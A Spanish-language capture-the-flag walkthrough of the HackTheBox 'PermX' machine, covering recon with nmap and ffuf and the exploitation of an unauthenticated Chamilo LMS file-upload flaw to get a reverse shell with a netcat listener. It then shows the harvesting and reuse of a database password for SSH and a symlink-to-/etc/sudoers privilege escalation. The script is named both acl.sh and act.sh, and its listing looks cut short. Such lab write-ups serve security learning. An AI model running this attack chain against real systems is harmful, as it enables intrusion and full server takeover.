Máquina PermX de HackTheBox con dificultad fácil
Recocimiento
Esta máquina está clasificada como fácil y no puedo decir lo contrario. Lo primero que se hace es un escaneo usando nmap con la siguiente línea de código:
nmap -p- --min-rate 5000 -n --open -vvv -sS -oG allPorts 10.10.11.23
EEl escaneo nos arrojó que están abiertos dos puertos, el 22 y el 80, algo muy común para un servidor que aloja un servicio web. Para ello, vamos a escanear de manera exhaustiva los puertos con el siguiente comando:
nmap -sCV -p22,80 -oN Ports 10.10.11.23
Nos arroja la siguiente información:
# Nmap 7.94SVN scan initiated Thu Jul 11 16:02:33 2024 as: nmap -sCV -p22,80 -oN Ports 10.10.11.23
Nmap scan report for 10.10.11.23
Host is up (0.34s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Debemos agregar al archivo hosts la dirección y su enlace:
sudo nano /etc/hosts
En el archivo se agrega lo siguiente:
10.10.11.23 permx.htb
Una vez guardados los cambios, vamos a nuestro navegador y analizamos la página:
Navegando en la página, no encontramos nada en lo cual se pueda comenzar un ataque, así que ahora procedemos a usar la herramienta `ffuf` para encontrar posibles páginas ocultas.
❯ ffuf -u http://permx.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htpasswd [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 138ms]
.htaccess [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 140ms]
css [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 226ms]
img [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 205ms]
js [Status: 301, Size: 303, Words: 20, Lines: 10, Duration: 160ms]
lib [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 125ms]
server-status [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 129ms]
:: Progress: [20476/20476] :: Job [1/1] :: 162 req/sec :: Duration: [0:01:29] :: Errors: 0 ::
Con el escaneo encontramos diversas páginas:
Pero hay un problema, en ninguna de estas se encontró nada interesante, así que procedemos a buscar alguna página asociada o subdominio, es decir, host distinto que un usuario tenga que iniciar sesión. Para ello, vamos a usar fuzz de otra manera.❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://permx.htb -H "Host: FUZZ.permx.htb" -fc 302
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 302
________________________________________________
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 510ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 270ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
Como podemos ver, encontramos dos subdominios, los cuales son:
De estos subdominios, el que realmente es interesante es el segundo (lms.permx.htb), en este podemos encontrar el panel de inicio de sesión el cual usa Chamilo:
En esta página podemos encontrar un inicio de sesión. Probamos con credenciales típicas como admin - admin, pero no tiene fallas de ese estilo. Así como en la página anterior vimos que tenía páginas ocultas, procedemos a buscar si esta cuenta con páginas ocultas:
❯ ffuf -u http://lms.permx.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://lms.permx.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 220ms]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 225ms]
LICENSE [Status: 200, Size: 35147, Words: 5836, Lines: 675, Duration: 164ms]
app [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 176ms]
bin [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 290ms]
certificates [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 326ms]
documentation [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 137ms]
favicon.ico [Status: 200, Size: 2462, Words: 3, Lines: 2, Duration: 338ms]
main [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 135ms]
plugin [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 153ms]
robots.txt [Status: 200, Size: 748, Words: 75, Lines: 34, Duration: 156ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 137ms]
src [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 156ms]
vendor [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 127ms]
web [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 161ms]
:: Progress: [20476/20476] :: Job [1/1] :: 47 req/sec :: Duration: [0:01:38] :: Errors: 0 ::
De la misma manera que en la página anterior, encontramos las siguientes páginas:
- http://lms.permx.htb/LICENSE/
- http://lms.permx.htb/app/
- http://lms.permx.htb/bin/
- http://lms.permx.htb/certificates/
- http://lms.permx.htb/documentation/
- http://lms.permx.htb/favicon.ico/
- http://lms.permx.htb/main/
- http://lms.permx.htb/plugin/
- http://lms.permx.htb/robots.txt/
- http://lms.permx.htb/src/
- http://lms.permx.htb/vendor/
- http://lms.permx.htb/web/
Podemos observar que la versión utilizada es Chamilo 1.11. Después de una investigación, hallamos que sí tiene una vulnerabilidad, la cual se puede encontrar como:
Esta vulnerabilidad nos dice que:
- Descripción de la vulnerabilidad
La carga no restringida de archivos en la funcionalidad de carga de archivos grandes en
/main/inc/lib/javascript/bigupload/inc/bigUpload.phpen Chamilo LMS <= v1.11.24 permite a atacantes no autenticados realizar ataques de cross-site scripting almacenados y obtener la ejecución remota de código a través de la carga de web shell. - Descripción del riesgo
Existe el riesgo de que un atacante remoto no autenticado pueda comprometer completamente el servidor para robar información confidencial, instalar ransomware o pivotar a la red interna.
- Recomendación
Se recomienda actualizar el software afectado a la última versión, que mitiga esta vulnerabilidad.
Referencia: Chamilo LMS <= 1.11.24 - Remote Code Execution
Explotacion
Una vez entendida la vulnerabilidad, procedemos a buscar un exploit o, en su caso, programarlo. Para fines prácticos, se utiliza el siguiente exploit:
Clonamos el exploit y accedemos a la carpeta, luego procedemos a ejecutar el siguiente comando:
python3 main.py -u http://lms.permx.htb/ -a revshell
Antes de ejecutar el comando, debemos estar en otra terminal y asegurarnos de haber ejecutado el siguiente comando para escuchar en el puerto:
nc -lnvp [PORT
#Ejemplo
nc -nlvp 4444
Si todo fue exitoso, la terminal donde ejecutamos el exploit debería finalizar de la siguiente manera:
Y la terminal que estamos escuchando estaria asi:
❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.59] from (UNKNOWN) [10.10.11.23] 39654
bash: cannot set terminal process group (1186): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$
Después de investigar en la máquina, encontramos la siguiente información:
www-data@permx:/var/www/chamilo/app/config$ ls
add_course.conf.dist.php course_info.conf.php profile.conf.dist.php
add_course.conf.php events.conf.dist.php profile.conf.php
assetic.yml events.conf.php routing.yml
auth.conf.dist.php fos routing_admin.yml
auth.conf.php ivory_ckeditor.yml routing_dev.yml
config.yml mail.conf.dist.php routing_front.yml
config_dev.yml mail.conf.php security.yml
config_prod.yml migrations.yml services.yml
configuration.php mopa sonata
course_info.conf.dist.php parameters.yml.dist
www-data@permx:/var/www/chamilo/app/config$ cat configuration.php
<?php
// Chamilo version 1.11.24
// File generated by /install/index.php script - Sat, 20 Jan 2024 18:20:32 +0000
/* For licensing terms, see /license.txt */
/**
* This file contains a list of variables that can be modified by the campus site's server administrator.
* Pay attention when changing these variables, some changes may cause Chamilo to stop working.
* If you changed some settings and want to restore them, please have a look at
* configuration.dist.php. That file is an exact copy of the config file at install time.
* Besides the $_configuration, a $_settings array also exists, that
* contains variables that can be changed and will not break the platform.
* These optional settings are defined in the database, now
* (table settings_current).
*/
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
En este caso, podemos encontrar una contraseña. Esta contraseña, en primeras instancias, es para iniciar sesión en la base de datos, pero podemos probar si esta contraseña funciona para conectarnos al usuario encontrado. Este usuario lo encontramos al acceder a la carpeta /home/. Ahí podemos ver ese usuario, así que procederemos a intentar iniciar sesión por SSH.
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload$ cd /home
cd /home
www-data@permx:/home$ ls
ls
mtz
www-data@permx:/home$
Para iniciar una conexion ssh procedemos ejecuatar el siguiente comando:
ssh mtz@10.10.11.23
una vez iniciado nos pedira la contrasela la cual insertaremos la que encontramos y soprendentemente es la misma contraseña
Como podemos ver solo tenemos acceso a un archivo el cual nos permitira elevar previlegios
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
Procedimiento para elevar previlegios
Explicación
1- Crear un enlace simbólico:
ln -s /etc/sudoers symlink
- ln: Comando para crear enlaces.
- -s: Indica que se creará un enlace simbólico (o "symlink").
- /etc/sudoers: Archivo original al que se creará el enlace.
- symlink: Nombre del nuevo enlace simbólico.
Este comando crea un enlace simbólico llamado symlink que apunta al archivo /etc/sudoers. Los enlaces simbólicos son como atajos que apuntan a otro archivo o directorio.
2- Listar archivos con detalles:
ls -l
- ls: Comando para listar archivos y directorios.
Este comando mostrará una lista de archivos en el directorio actual, incluida información detallada sobre cada archivo. Entre ellos, se mostrará el enlace simbólico symlink.
- -l: Muestra una lista detallada de archivos con permisos, número de enlaces, propietario, grupo, tamaño, fecha de modificación y nombre del archivo.
3- Ejecutar un script con privilegios:
sudo /opt/act.sh mtz rwx /home/mtz/symlink
- sudo: Ejecuta un comando con privilegios de superusuario (root).
- /opt/act.sh: Ruta al script que se va a ejecutar.
- mtz rwx /home/mtz/symlink: Argumentos pasados al script.
Este comando ejecuta el script /opt/act.sh con privilegios elevados, pasando los argumentos mtz, rwx y /home/mtz/symlink. La naturaleza de estos argumentos y el propósito del script dependerá de su contenido.
4- Editar un archivo con nano:
nano /home/mtz/symlink
- nano: Editor de texto en la línea de comandos.
- /home/mtz/symlink: Archivo que se va a editar.
Este comando abre el archivo /home/mtz/symlink en el editor de texto nano. Como symlink es un enlace simbólico que apunta a /etc/sudoers, estarás editando el archivo real /etc/sudoers.
5- Cambiar a superusuario:
sudo su
- sudo: Ejecuta un comando con privilegios de superusuario (root).
- su: Cambia de usuario.
Este comando te cambia al usuario root, dándote acceso completo a todo el sistema.
Revive la nostalgia con Snake, el clásico juego de la serpiente, ahora hecho en Python! 🐍📜 Disfruta de un código simple y adictivo que crece a medida que recoges alimentos. Ideal para aprender y jugar. 🚀🎮
La máquina GreenHorn nos muestra las posibilidades de encontrar contraseñas incluso cuando están ocultas en una imagen. Aunque esta máquina en sí misma no representa un gran desafío, el proceso para descubrir la contraseña resulta ser bastante interesante y educativo.